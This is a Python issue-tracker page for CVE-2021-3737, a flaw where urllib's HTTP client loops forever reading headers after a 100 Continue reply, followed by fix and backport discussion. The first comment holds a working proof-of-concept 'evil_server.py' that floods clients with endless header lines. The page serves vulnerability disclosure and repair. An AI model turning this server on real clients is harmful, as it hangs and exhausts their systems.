Skip to content

CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response #88188

Closed
Closed
CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response#88188
Assignees
gpshead
Labels
3.10 (EOL)end of life3.7 (EOL)end of life3.8 (EOL)end of life3.9 (EOL)end of lifestdlibStandard Library Python modules in the Lib/ directorytype-securityA security issue

Description

@leveryd
leveryd
mannequin
opened on May 3, 2021
BPO 44022
Nosy @gpshead, @vstinner, @tiran, @ned-deily, @mcepl, @ambv, @mgorny, @sir-sigurd, @miss-islington, @gen-xu
PRs
  • bpo-44022: Fix http client infinite line reading (DoS) after a http 100 #25916
  • [3.10] bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) #25931
  • [3.9] bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) #25932
  • [3.8] bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) #25933
  • [3.7] bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) #25934
  • [3.6] bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) #25935
  • bpo-44022: Improve the security fix regression test. #26503
  • [3.10] bpo-44022: Improve the regression test. (GH-26503) #26504
  • [3.9] bpo-44022: Improve the regression test. (GH-26503) #26505
  • [3.8] bpo-44022: Improve the regression test. (GH-26503) #26506
  • [3.7] bpo-44022: Improve the regression test. (GH-26503) #26507
  • [3.6] bpo-44022: Improve the regression test. (GH-26503) #26508
  • bpo-44022: Fix Sphinx role in NEWS entry #27033
    		•

    Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

    Show more details

    GitHub fields:

    assignee = 'https://github.com/gpshead'
closed_at = <Date 2021-05-05.22:50:44.568>
created_at = <Date 2021-05-03.17:13:03.971>
labels = ['type-security', '3.8', '3.9', '3.10', '3.7', 'library']
title = 'CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response'
updated_at = <Date 2021-09-15.09:49:12.121>
user = 'https://bugs.python.org/leveryd'

    bugs.python.org fields:

    activity = <Date 2021-09-15.09:49:12.121>
actor = 'vstinner'
assignee = 'gregory.p.smith'
closed = True
closed_date = <Date 2021-05-05.22:50:44.568>
closer = 'gregory.p.smith'
components = ['Library (Lib)']
creation = <Date 2021-05-03.17:13:03.971>
creator = 'leveryd'
dependencies = []
files = []
hgrepos = []
issue_num = 44022
keywords = ['patch']
message_count = 29.0
messages = ['392825', '393004', '393005', '393037', '393048', '393050', '393051', '393073', '393074', '393076', '393079', '393110', '393113', '393137', '393194', '393195', '394898', '394976', '394978', '394980', '394982', '394985', '394986', '396993', '397322', '399275', '401819', '401820', '401821']
nosy_count = 11.0
nosy_names = ['gregory.p.smith', 'vstinner', 'christian.heimes', 'ned.deily', 'mcepl', 'lukasz.langa', 'mgorny', 'sir-sigurd', 'miss-islington', 'leveryd', 'gen-xu']
pr_nums = ['25916', '25931', '25932', '25933', '25934', '25935', '26503', '26504', '26505', '26506', '26507', '26508', '27033']
priority = 'normal'
resolution = 'fixed'
stage = 'resolved'
status = 'closed'
superseder = None
type = 'security'
url = 'https://bugs.python.org/issue44022'
versions = ['Python 3.6', 'Python 3.7', 'Python 3.8', 'Python 3.9', 'Python 3.10']

    Activity

    1. leveryd commented on May 3, 2021

      @leveryd
      leverydmannequin
      on May 3, 2021
      MannequinAuthor

      if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.

      maybe this client also will consume more and more memory. i does not test on this conclusion.

      client.py

      import urllib.request

req = urllib.request.Request('http://127.0.0.1:8085')
response = urllib.request.urlopen(req, timeout=1)

      evil_server.py

      # coding:utf-8
from socket import *
from multiprocessing import *
from time import sleep

def dealWithClient(newSocket,destAddr):
    recvData = newSocket.recv(1024)
    newSocket.send(b"""HTTP/1.1 100 OK\n""")

    while True:
        # recvData = newSocket.recv(1024)
        newSocket.send(b"""x:a\n""")

        if len(recvData)>0:
            # print('recv[%s]:%s'%(str(destAddr), recvData))
            pass
        else:
            print('[%s]close'%str(destAddr))
            sleep(10)
            print('over')
            break

    # newSocket.close()


def main():

    serSocket = socket(AF_INET, SOCK_STREAM)
    serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR  , 1)
    localAddr = ('', 8085)
    serSocket.bind(localAddr)
    serSocket.listen(5)

    try:
        while True:
            newSocket,destAddr = serSocket.accept()

            client = Process(target=dealWithClient, args=(newSocket,destAddr))
            client.start()

            newSocket.close()
    finally:
        serSocket.close()

if __name__ == '__main__':
    main()
    2. leveryd
      added
      3.7 (EOL)end of life
      stdlibStandard Library Python modules in the Lib/ directory
      type-securityA security issue
      on May 3, 2021

    3. gen-xu commented on May 5, 2021

      @gen-xu
      gen-xumannequin
      on May 5, 2021
      Mannequin

      Added a possible PR. Review will be appreicated.

    4. gen-xu commented on May 5, 2021

      @gen-xu
      gen-xumannequin
      on May 5, 2021
      Mannequin

      Looks like it is caused by the httplib not limiting total header size after receiving 100. Added a counter for that to be same size as _MAXLINE=65536.

    5. gen-xu
      removed
      3.7 (EOL)end of life
      on May 5, 2021
    6. gpshead
      added
      3.9 (EOL)end of life
      3.10 (EOL)end of life
      3.11only security fixes
      on May 5, 2021
    7. gpshead
      changed the title [-]"urllib" will result to deny of service[/-] [+]urllib http client possible infinite loop on a 100 Continue response[/+] on May 5, 2021

    8. 45 remaining items

    9. ned-deily commented on Jun 3, 2021

      @ned-deily
      ned-deily
      on Jun 3, 2021
      Member

      New changeset 1b6f4e5 by Miss Islington (bot) in branch '3.6':
      bpo-44022: Improve the regression test. (GH-26503) (GH-26508)
      1b6f4e5

    10. miss-islington commented on Jul 5, 2021

      @miss-islington
      miss-islington
      on Jul 5, 2021
      Contributor

      New changeset 7ac7a0c by Sergey Fedoseev in branch 'main':
      bpo-44022: Fix Sphinx role in NEWS entry (GH-27033)
      7ac7a0c

    11. ambv commented on Jul 12, 2021

      @ambv
      ambv
      on Jul 12, 2021
      Contributor

      New changeset 0389426 by Miss Islington (bot) in branch '3.8':
      bpo-44022: Improve the regression test. (GH-26503) (bpo-26506)
      0389426

    12. mcepl commented on Aug 9, 2021

      @mcepl
      mceplmannequin
      on Aug 9, 2021
      Mannequin

      Is there a CVE for this?

    13. vstinner commented on Sep 15, 2021

      @vstinner
      vstinner
      on Sep 15, 2021
      Member

      Matej Cepl: "Is there a CVE for this?"

      Yes, CVE-2021-3737 was assigned to this issue.

    14. vstinner
      changed the title [-]urllib http client possible infinite loop on a 100 Continue response[/-] [+]CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response[/+] on Sep 15, 2021
    15. vstinner
      changed the title [-]urllib http client possible infinite loop on a 100 Continue response[/-] [+]CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response[/+] on Sep 15, 2021

    16. vstinner commented on Sep 15, 2021

      @vstinner
      vstinner
      on Sep 15, 2021
      Member

      I created https://python-security.readthedocs.io/vuln/urllib-100-continue-loop.html to track the issue.

    17. vstinner commented on Sep 15, 2021

      @vstinner
      vstinner
      on Sep 15, 2021
      Member

      I'm not sure why the fix in the main branch was not listed here:

      commit 47895e3
      Author: Gen Xu <xgbarry@gmail.com>
      Date: Wed May 5 15:42:41 2021 -0700

      bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916)

Fixes http.client potential denial of service where it could get stuck reading lines from a malicious server after a 100 Continue response.

Co-authored-by: Gregory P. Smith <greg@krypto.org>
    18. ezio-melotti
      transferred this issue fromon Apr 10, 2022
    19. gpshead
      added 4 commits that reference this issue on Jun 28, 2026

      gh-150743: Limit trailer lines and interim responses read by http.cli…

      41cc78a

      [3.14] gh-150743: Limit trailer lines and interim responses read by h…

      84badb7

      [3.15] gh-150743: Limit trailer lines and interim responses read by h…

      aa06529

      [3.13] gh-150743: Limit trailer lines and interim responses read by h…

      d804d28
    20. Yhg1s
      added a commit that references this issue on Aug 4, 2026

      [3.12] gh-150743: Limit trailer lines and interim responses read by h…

      a51c520
    Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

    Metadata

    Metadata

    Assignees

    Labels

    3.10 (EOL)end of life3.7 (EOL)end of life3.8 (EOL)end of life3.9 (EOL)end of lifestdlibStandard Library Python modules in the Lib/ directorytype-securityA security issue

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions